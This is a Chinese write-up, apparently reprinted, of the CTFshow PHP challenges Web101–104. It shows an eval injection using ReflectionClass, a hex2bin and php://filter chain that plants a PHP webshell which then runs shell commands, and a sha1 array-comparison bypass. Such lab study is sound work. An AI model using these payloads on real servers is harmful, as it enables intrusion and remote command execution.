当前位置: 首页 > news >正文

CTFshow系列——PHP特性Web101-104

这两天也是写了第三届“陇剑杯” 的一些WP,想看的师傅可以去看看;当然,回归正题,这次给大家带来的还是PHP特性的文章;

文章目录

    • Web101
      • 网上WP
    • Web102(很重要)
      • 代码分析
      • 详细分析
    • Web103
    • Web104(新题型)
    • 总结


Web101

好了话不多说,直接开始:

<?phphighlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){eval("$v2('ctfshow')$v3");}}}?>Notice: Undefined index: v1 in /var/www/html/index.php on line 17Notice: Undefined index: v2 in /var/www/html/index.php on line 18Notice: Undefined index: v3 in /var/www/html/index.php on line 19

相比于Web100,可以看到主要是针对$v2$v3参数做了过滤;

# 100关的payload
?v1=1&v2=system("cp+ctfshow.php+1.txt")?>&v3=;

对照上一关的payload,我们发现; & > [a-z]没有被过滤;

所以现在我们的问题就是如何把 “cp+ctfshow.php+1.txt” 给表示出来:

嗯。。。没找到payload

网上WP

  • 涉及到类,可以考虑使用 ReflectionClass 建立反射类。

    • new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。
  • 元数据对象(包含class的所有属性/方法的元数据信息)。

  • payload:v1=1&v2=echo new ReflectionClass&v3=;

flag中有些字符经过ACSII码变换,好像还少了一位,爆破即可
吐槽:找到flag之后还要在提交页面爆破flag的最后一位也是没想到…)


得到结果如下:
[ public $flag_b98b6f240x2df4bc0x2d46be0x2d9b5e0x2dd07fffd3656 ]

在这里插入图片描述

注意:替换0x2d为-,最后一位需要爆破16次,题目给的flag少一位
替换后得到结果:
在这里插入图片描述

然后再在提交页面爆破:

千万不要爆破太快:
在这里插入图片描述
这就是教训。。。

Web102(很重要)

<?phphighlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;file_put_contents($v3,$str);
}
else{die('hacker');
}?>Notice: Undefined index: v1 in /var/www/html/index.php on line 14Notice: Undefined index: v2 in /var/www/html/index.php on line 15Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker

观察代码,我们可以发现多了 call_user_func();函数,以及$v1 变为了POST型;

代码分析

  • $v4 = is_numeric($v2) and is_numeric($v3);:可以使用十六进制(0x…)、科学计数法(1e3)和只包含数字的字符串都判断为 true
  • $s = substr($v2,2);:这是漏洞的核心。
    • substr() 函数从 $v2 的第 2 个字符(从 0 开始计数)开始,截取后面的所有字符串。
    • 这里的目的是为了让你绕过 is_numeric() 的检查。如果 v2 的值是 0x 开头,substr($v2, 2) 就会截取掉 0x,得到一个非数字的字符串。
  • $str = call_user_func($v1,$s);:
    • call_user_func() 是一个可变函数,它会调用 $v1 中指定的函数,并以 $s 作为参数。
    • $v1 是你通过 POST 控制的函数名。
    • $s是你通过 GET 控制的参数 v2 经过 substr() 截取后的结果。
  • 这是一个典型的任意函数执行点。
  • file_put_contents($v3,$str);
    • 这是文件写入漏洞。file_put_contents() 会创建一个文件,其文件名由 $v3 决定,文件内容由 $str(即 $v1 函数的返回值)决定。

详细分析

这里我看了WP后,自己分析了一下,顿时感到实在是太巧妙了:

# payload
?v2=115044383949474167494352665230565557324664594473&v3=php://filter/write=convert.base64-decode/resource=1.php# POST
v1=hex2bin

从payload中我们可以看出使用了php伪协议,有什么用呢?听我分析

  • 首先v2 一大串数字因为substr() 函数,所以是从第2位开始取值,也就是50…73

    • 将其十六进制编码后结果是为:PD89IGAgICRfR0VUW2FdYDs
    • 而base64编码后结果为:<?= $_GET[a];
  • 因为代码中没有解析base64的作用,所以v3php伪协议作用就在此;

  • v1中的hex2bin() 函数会将十六进制字符串解码为 ASCII 字符串

在这里插入图片描述

所以这三个参数的作用就是:将 <?= $_GET[a]; 写入1.php文件中

随后我们在访问url/1.php文件并通过GET方法使用参数a

# payload
1.php?a=ls

在这里插入图片描述

后面的操作就不多说了:

# payload
1.php?a=cat flag.php  # flag在源代码里

唉,还是太菜了;


Web103

<?phphighlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){$s = substr($v2,2);$str = call_user_func($v1,$s);echo $str;if(!preg_match("/.*p.*h.*p.*/i",$str)){file_put_contents($v3,$str);}else{die('Sorry');}
}
else{die('hacker');
}?>Notice: Undefined index: v1 in /var/www/html/index.php on line 14Notice: Undefined index: v2 in /var/www/html/index.php on line 15Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker

看着就是多了preg_match("/.*p.*h.*p.*/i",$str),对php进行了过滤,但我们php伪协议可不管这种,所以payload还是一样:

# payload
?v2=115044383949474167494352665230565557324664594473&v3=php://filter/write=convert.base64-decode/resource=1.php# POST
v1=hex2bin

随后访问1.php

1.php?a=ls
1.php?a=cat flag.php  # flag在源代码里

Web104(新题型)

<?phphighlight_file(__FILE__);
include("flag.php");if(isset($_POST['v1']) && isset($_GET['v2'])){$v1 = $_POST['v1'];$v2 = $_GET['v2'];if(sha1($v1)==sha1($v2)){echo $flag;}
}?>

哈哈,新题型刚出场都是这么的眉清目秀;可惜啊,越往后就是岁月不饶人了。。。

简单代码分析:

  • if(isset($_POST['v1']) && isset($_GET['v2']))
    • 代码首先检查 POST 请求中是否有名为 v1 的参数,以及 GET 请求中是否有名为 v2 的参数。两个条件都必须满足,程序才会继续执行。
  • if(sha1($v1)==sha1($v2))
    • 这是核心的逻辑判断。它将 v1 和 v2 的值分别计算 SHA1 哈希值,然后使用双等号 == 进行比较。如果两个哈希值相等,就会输出 flag。
    • 双等号 == 进行比较,这是一种弱类型比较。当 sha1() 函数接收一个数组时,它会返回 false,PHP 在进行弱类型比较时会将两个 false 判断为相等。

在这里插入图片描述
(数组绕过,上一题型刚开始用的方法,不记得的就回去看,温故而知新

在这里插入图片描述
得到flag;

总结

温故而知新,明天出一篇勒索的应急响应文章;


文章转载自:

http://KvVChwFN.gprzp.cn
http://EEnkGqo8.gprzp.cn
http://DJRNMRwH.gprzp.cn
http://mAojGIyd.gprzp.cn
http://Z9cFec4x.gprzp.cn
http://KDYDa2p5.gprzp.cn
http://XNqFNpeJ.gprzp.cn
http://eMbqqGjh.gprzp.cn
http://HCLP1yWe.gprzp.cn
http://wiUSsqiR.gprzp.cn
http://iKdyDuqq.gprzp.cn
http://cp4xuAYb.gprzp.cn
http://b6AalQCB.gprzp.cn
http://LfOP3AQi.gprzp.cn
http://YV9LAhoL.gprzp.cn
http://v6ihbT2b.gprzp.cn
http://BSXNH7no.gprzp.cn
http://J7YNYFsE.gprzp.cn
http://AAEOQoOx.gprzp.cn
http://afZ8eog5.gprzp.cn
http://w2AEGw2f.gprzp.cn
http://M9IXpRPV.gprzp.cn
http://I5my1RZo.gprzp.cn
http://5JWc7YFf.gprzp.cn
http://PqWdrit5.gprzp.cn
http://lXBuS2Qu.gprzp.cn
http://SKoDoEjX.gprzp.cn
http://DHWu31wX.gprzp.cn
http://8Bd2rhyg.gprzp.cn
http://o5JiFvyb.gprzp.cn
http://www.dtcms.com/a/374413.html

相关文章:

  • MCP学习一——UV安装使用教程
  • 【Java实战㊳】Spring Boot实战:从打包到监控的全链路攻略
  • Go语言实战案例-开发一个Markdown转HTML工具
  • idea、服务器、数据库环境时区不一致问题
  • HarmonyOS 5.1.1版本图片上传功能
  • 2025最新超详细FreeRTOS入门教程:第八章 FreeRTOS任务通知
  • Puter+CPolar低成本替代商业网盘,打造私有云新势力
  • Deepoc科技之暖:智能助盲设备如何为视障家人点亮生活
  • 详细的vmware虚拟机安装教程
  • uni-app 项目中使用自定义字体
  • springboot maven 多环境配置入门与实战
  • 时序数据库选型指南:基于大数据视角的IoTDB应用优势分析详解!
  • 炫光活体检测技术:通过光学技术实现高效、安全的身份验证,有效防御多种伪造手段。
  • sqlite3的加解密全过程
  • Django REST Framework 中 @action 装饰器详解
  • 【Docker】一键将运行中的容器打包成镜像并导出
  • LLVM 数据结构简介
  • MCP与http、websocket的关系
  • 【modbus学习】
  • 【linux】sed/awk命令检索区间日志
  • 瑞派虹泰环城总院 | 打造“一站式宠物诊疗空间”,定义全国宠物医疗新高度
  • 数据分析画图显示中文
  • 嵌入式ARM架构学习3——启动代码
  • 2025云计算趋势:Serverless与AI大模型如何赋能中小企业
  • 如何利用 AWS 服务器优化跨境电商和 SEO 战略?
  • 大数据毕业设计-基于Python的中文起点网小说数据分析平台(高分计算机毕业设计选题·定制开发·真正大数据)
  • 小程序开发单行日历可滑动
  • 项目日记 -日志系统 -搭建基础框架
  • 计算机网络第四章(4)——网络层《ARP协议》
  • 探迹SalesGPT